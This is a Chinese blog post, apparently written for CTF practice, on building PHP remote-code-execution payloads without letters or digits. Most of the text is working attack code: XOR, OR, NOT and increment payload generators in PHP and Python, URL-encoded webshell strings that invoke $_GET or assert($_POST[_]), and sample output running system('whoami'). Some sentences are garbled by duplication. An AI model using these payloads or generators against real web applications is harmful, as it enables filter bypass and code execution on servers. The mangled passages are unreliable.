无字母数字RCE

基础知识

异或

<?php 

function p(){
    echo "这是异或的p";
}

$_++; //自增
var_dump($_++);
$__="1" ^ "a";   //这是异或 然后赋值给$__
var_dump($__);
$__(); //调用$__ 他们异或后的值是p 
?>

image.png
当调用 $__ 的时候 方法p 会执行 ,并输出 这是异或的p
虽然这里报错了。不影响

取反

利用的是 UTF-8 编码的某个汉字,将其中某个字符取出来,比如’和’{2}的结果是"\x8c",其再取反即可得到字母s

<?php 
echo ~('瞰'{1});    // a
echo ~('和'{2});    // s
echo ~('和'{2});    // s
echo ~('的'{1});    // e
echo ~('半'{1});    // r
echo ~('始'{2});    // t
?>

image.png
image.png
执行之后会输出assert 这个值 。

自增

image.png
简单来说就是 $_ =“A”; 通过自增 $_++; 加1 然后变成了B

<?php
$_="A";
$_++;
echo $_;
?>    

image.png
他就会输出B
那我们怎么去开头获取一个英文字符呢 ,
这里可以先通过一个数组 [] ,数组会显示array
来测试一下

<?php
$_ = [];
var_dump($_);
?>

image.png
显示 array(0) ,如果在[]后面加一个 1呢
image.png
image.png
在尝试拼接空字符
image.png
就会变成了字符串 array了
成功获取到了字符Array,然后我们获取想获取A的话,就可以采用 [ 0 ] 这种方式来获取,但我们是不能够写数字的,所以我们这里可以用一个判断 , 比如我们在 [ ] 里加一个 = = _[0]这种方式来获取,但我们是不能够写数字的,所以我们这里可以用一个判断,比如我们在[]里加一个== [0]这种方式来获取,但我们是不能够写数字的,所以我们这里可以用一个判断,比如我们在[]里加一个==,此时因为空和 不同,它就会输出 0 ,此时也就等同于 不同,它就会输出0,此时也就等同于 不同,它就会输出0,此时也就等同于_[0],具体实现代码如下

<?php
$_=[]."";
$_=$_[''=='$'];
var_dump($_);
?>

image.png
这样就能获取到A 了
然后我们在通过自增获取到B

<?php

$_=[]."";
$_=$_[''=='$'];
var_dump($_);
echo "<br>";
$_++;
var_dump($_);
?>

image.png
然后看我们这里的代码的话,是eval( c o d e ) ,所以我们就可以构造这种的 code),所以我们就可以构造这种的 code),所以我们就可以构造这种的_GET1,这个时候我们就可以system(ls)这种命令的执行

<?php
$_=[].'';//Array
$_=$_[''=='$'];//A
$_++;//B
$_++;//C
$_++;//D
$_++;//E
$__=$_;//E
$_++;//F
$_++;//G
$___=$_;//G
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;//T
$_=$___.$__.$_;//GET
//var_dump($_);
$_='_'.$_;//_GET
var_dump($$_[_]($$_[__]));
//$_GET[_]($_GET[__])

把注释去掉 然后变成一行 就变成了 G E T [ ] ( _GET[_]( GET[](_GET[__])

$_=[].'';$_=$_[''=='$'];$_++;$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_=$___.$__.$_;$_='_'.$_;$$_[_]($$_[__]);

url编码一次

%24_%3D%5B%5D.''%3B%24_%3D%24_%5B''%3D%3D'%24'%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24___%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24___.%24__.%24_%3B%24_%3D'_'.%24_%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B

在post传入 get传入 _=system&__=ls
这样就成功执行了命令
image.png

PHP 短标签

常见的 PHP 标签就是<?php ?>了,但是 PHP 中还有两种短标签,即<? ?>和<?= ?>。
当关键字 “php” 被过滤了之后,此时我们便不能使用<?php ?>了,但是我们可以用另外两种短标签进行绕过
并且在短标签中的代码不需要使用分号;。
其中,<? ?>相当于对<?php ?>的替换。而<?= ?>则是相当于<?php echo ... ?>。例如:
<?='Hello World'?> // 输出 “Hello World”

PHP 中的反引号

PHP中,反引号可以直接命令执行系统命令,但是如果想要输出执行结果还需要使用 echo 等函数:

<?php echo `ls /`;?>

<?= `ls /`?>

PHP 5 和 PHP 7 的区别

(1)在 PHP 5 中,assert()是一个函数,我们可以用 = a s s e r t ; _=assert; =assert;_()这样的形式来实现代码的动态执行。但是在 PHP 7 中,assert()变成了一个和eval()一样的语言结构,不再支持上面那种调用方法。(但是好像在 PHP 7.0.12 下还能这样调用)
(2)PHP5中,是不支持($a)()这种调用方法的,但在 PHP 7 中支持这种调用方法,因此支持这么写(‘phpinfo’)();

异或绕过

<?php
highlight_file(__FILE__);
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
  eval($_GET['shell']);
}
else{
            echo("fucccc hacker!!");
}
?>

这个题目
使用这个脚本绕过

异或脚本1

<?php
$shell = "assert";
$result1 = "";
$result2 = "";
for($num=0;$num<=strlen($shell);$num++)
{
    for($x=33;$x<=126;$x++)
    {
        if(judge(chr($x)))
        {
            for($y=33;$y<=126;$y++)
            {
                if(judge(chr($y)))
                {
                    $f = chr($x)^chr($y);
                    if($f == $shell[$num])
                    {
                        $result1 .= chr($x);
                        $result2 .= chr($y);
                        break 2;
                    }
                }
            }
        }
    }
}
echo $result1;
echo "<br>";
echo $result2;

function judge($c)
{
    if(!preg_match('/[a-z0-9]/is',$c))
    {
        return true;
    }
    return false;
}

里面的shell 和 匹配字符 和那个 匹配规则都是可以根据题目来修改的
然后来构造 根据上面那个题目
构造assert($POST[])
先生成assert的字符
image.png

!((%)(<br>@[[@[\

再生成 _POST

!+/((<br>~{`{|

其中的
是换行 要去掉 换成 “^” ,
就变成了 assert($POST[]);

$_ = "!((%)("^"@[[@[\\";$__ = "!+/(("^"~{`{|";$___ = $$__;$_($___[_]);

然后发送的时候再url编码一下

%24_%20%3D%20%22!((%25)(%22%5E%22%40%5B%5B%40%5B%5C%5C%22%3B%24__%20%3D%20%22!%2B%2F((%22%5E%22~%7B%60%7B%7C%22%3B%24___%20%3D%20%24%24__%3B%24_(%24___%5B_%5D)%3B

image.png

脚本二

<?php

$myfile = fopen("C:/Users/chenxL/Desktop/脚本/无参数 无字符RCE/异或/xor_rce.txt", "w");
$contents = "";

for ($i = 0; $i < 256; $i++) {
    for ($j = 0; $j < 256; $j++) {
        if ($i < 16) {
            $hex_i = '0' . dechex($i);
        } else {
            $hex_i = dechex($i);
        }

        if ($j < 16) {
            $hex_j = '0' . dechex($j);
        } else {
            $hex_j = dechex($j);
        }

        $preg = '/[a-z0-9]/i'; // 根据题目给的正则表达式修改即可
        if (preg_match($preg, hex2bin($hex_i)) || preg_match($preg, hex2bin($hex_j))) {
            echo "";
        } else {
            $a = '%' . $hex_i;
            $b = '%' . $hex_j;
            $c = (urldecode($a) ^ urldecode($b));
            if (ord($c) >= 32 & ord($c) <= 126) {
                $contents = $contents . $c . " " . $a . " " . $b . "\n";
            }
        }
    }
}

fwrite($myfile, $contents);
fclose($myfile);
?>

再根据生成的文件 ,生成payload

# -*- coding: utf-8 -*-

def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open("C:/Users/chenxL/Desktop/脚本/无参数 无字符RCE/异或/xor_rce.txt", "r")
        while True:
            t = f.readline()
            if t == "":
                break
            if t[0] == i:
                # print(i)s
                s1 += t[2:5]
                s2 += t[6:9]
                break
        f.close()
    output = "(\"" + s1 + "\"^\"" + s2 + "\")"
    return output

while True:
    param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
    print(param)

image.png
image.png

[+] your function:system
[+] your command:whoami
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%08%0f%01%0d%09"^"%7f%60%60%60%60%60");

记住这里要看php的版本

或运算

PHP 中两个字符串异或之后得到的还是一个字符串。那么或运算原理也是一样,如果正则匹配过滤了字母和数字,那就可以使用两个不在正则匹配范围内的非字母非数字的字符进行或运算,从而得到我们想要的字符串。

<?php

$myfile = fopen("C:/Users/chenxL/Desktop/脚本/无参数 无字符RCE/或运算/or_rce.txt", "w");
$contents = "";

for ($i = 0; $i < 256; $i++) { 
    for ($j = 0; $j < 256; $j++) { 

        if ($i < 16) {
            $hex_i = '0' . dechex($i);
        } else {
            $hex_i = dechex($i);
        }

        if ($j < 16) {
            $hex_j = '0' . dechex($j);
        } else {
            $hex_j = dechex($j);
        }

        $preg = '/[0-9a-z]/i';    // 根据题目给的正则表达式修改即可
        if (preg_match($preg , hex2bin($hex_i)) || preg_match($preg , hex2bin($hex_j))) {
            echo "";
        } else {
            $a = '%' . $hex_i;
            $b = '%' . $hex_j;
            $c = (urldecode($a) | urldecode($b));
            if (ord($c) >= 32 & ord($c) <= 126) {
                $contents = $contents . $c . " " . $a . " " . $b . "\n";
            }
        }
    }
}

fwrite($myfile, $contents);
fclose($myfile);
?>

# -*- coding: utf-8 -*-

def action(arg):
    s1 = ""
    s2 = ""
    for i in arg:
        f = open("C:/Users/chenxL/Desktop/脚本/无参数 无字符RCE/或运算/or_rce.txt", "r")
        while True:
            t = f.readline()
            if t == "":
                break
            if t[0] == i:
                # print(i)
                s1 += t[2:5]
                s2 += t[6:9]
                break
        f.close()
    output = "(\"" + s1 + "\"|\"" + s2 + "\")"
    return output

while True:
    param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
    print(param)

取反

这里使用的是位运算里的 “取反” 运算

url编码取反绕过

以下两个都可以使用

import sys
import urllib.parse

# 从命令行读取用户输入的函数和命令
print('[+]your function: ', end='')
system = input().strip()
print('[+]your command: ', end='')
command = input().strip()

# 替换字符并构造字符串
system = system.replace("\r\n", "").replace("\r", "").replace("\n", "")
command = command.replace("\r\n", "").replace("\r", "").replace("\n", "")

# 辅助函数执行取反和 URL 编码
def reverse_and_encode(s):
    return ''.join('%{:02x}'.format(255 - ord(c)) for c in s)

# 对字符串进行取反和 URL 编码
system_encoded = reverse_and_encode(system)
command_encoded = reverse_and_encode(command)

# 构造输出字符串
output = '[*] (~' + system_encoded + ')(~' + command_encoded + ');'
print(output)

<?php
//在命令行中运行

fwrite(STDOUT, '[+]your function: ');

$system = str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

fwrite(STDOUT, '[+]your command: ');

$command = str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

echo '[*] (~' . urlencode(~$system) . ')(~' . urlencode(~$command) . ');';
?>

image.png
image.png

自增

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E 
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

缩减后的

$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);

执行的时候要进行url编码

绕过下划线 分号 &

看这篇文章
老生常谈的无字母数字 Webshell 总结 - FreeBuf网络安全行业门户
image.png

参考:
无字母数字RCE的一些总结 - xiaofeiji’s Blog
从CTFShow[RCE挑战]中学习无字母数字构造webshell - 先知社区
老生常谈的无字母数字 Webshell 总结 - FreeBuf网络安全行业门户
无数字字母rce总结(取反、异或、自增、临时文件)-CSDN博客
无字母数字webshell总结 - 先知社区
无字母数字webshell之提高篇 | 离别歌
奇安信攻防社区-针对常规无字母RCE的通用辅助脚本开发
利用shell脚本变量构造无字母数字命令 - 先知社区

  • 4
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值